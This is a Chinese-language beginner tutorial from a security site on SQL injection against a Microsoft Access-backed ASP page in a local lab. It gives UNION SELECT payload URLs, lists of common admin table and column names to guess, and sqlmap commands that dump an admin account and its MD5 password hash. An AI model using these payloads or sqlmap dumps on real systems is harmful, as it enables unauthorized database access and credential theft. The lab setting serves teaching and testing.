SQL注入access数据库【一】

华盟原创文章投稿奖励计划

SQL注入access数据库【一】

access数据库简单介绍

先来介绍一下这个数据库,Microsoft Office Access,Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

优势:提高速度和减少代码量

缺点:当数据库过大时,一般达到100M左右性能就会开始慢慢下降了(比如访问人数过多,过度消耗服务器资源),安全性能差。

适合人群:小白,初学者了解sql注入,编程人员 (大佬勿喷)

首先是sql注入产生的条件:

1.参数的传递

2.参数值可以带入到数据库

我们这里本地搭建了一个漏洞平台(漏洞源码会附在下面链接的)SQL注入access数据库【一】

第一步 找注入点

我这注入点是 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139

先用 ' 单引号报错 如果报错了说明有注入点的可能性

再用

and 1=1 返回正常

and 1=2 返回不正常

返回正常 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and 1=1

返回不正常 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and 1=2

第二步 我们再来判断一下它的数据类型

and (select count(*) from sysobjects)>0  判断sql server

and (select count(*) from msysobjects)>0 判断access数据库 返回不够权限就是access数据库了SQL注入access数据库【一】

我这里判断的是 access数据库

第三步 用order by 判断字段数量

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 order by 30

我们这里使用折中猜解法,这里30返回报错,那我们继续下去

SQL注入access数据库【一】

这里猜的是22个字段数量

那我们接着继续下去

第四步 联合查询

两条语句

union select 长度 from 表

union select 列名 from  表   

首先我们长度是22

那我们构成语句

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名

这里表名我们就慢慢自己构造 直到出数据所在字段了

常用的表名

admin、a_admin、x_admin、m_admin、adminuser、adminstrator...

我这里猜测的表名是 admin 爆出来了

SQL注入access数据库【一】

这里出来的两个字段 3,15 我们继续猜测列名

常用的列名

admin,password,username、admin_name、name、admin_userid、admin_id

我们就猜最常见的吧

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

admin放3字段位置上,password放在15字段位置上

SQL注入access数据库【一】

ok账号密码都出来了

admin  a48e190fafc257d3

密码是MD5加密了  我们拿到解密网站解密一下

SQL注入access数据库【一】

最后解开的密码就是bendss

所以账号是 admin  密码是 bendss

sqlmap(access数据库注入)工具篇

 先用 sqlmap.py -u "URL"  看看是否能注入

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139"

SQL注入access数据库【一】

ok,这里返回了 DBMS 'microsoft access'   也就是 access 数据库,也没报红,说明可以注入

我们先来猜猜它的数据库表名吧

语句

sqlmap.py -u "url" --tables

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139" --tables

SQL注入access数据库【一】

ok,这里表名有 admin  admin_login email guestbook job news product

我们再来猜解下admin表里的字段

SQL注入access数据库【一】

我们这里 需要的字段 就admin 跟 password

继续往下猜解这两个字段里的数据

语句

sqlmap.py -u "url" --dump -T 表名 -C "字段名"

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139" --dump -T admin -C "admin,password"

SQL注入access数据库【一】

数据也出来了 ok上面 解密过了 就不再解了

慢慢了解sql注入, 从最简单的数据库开始

*本文原创作者:辰小白   转载请注明来源于华盟网源及作者

华盟知识星球入口

本文原创,作者:congtou,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/223641.html

发表评论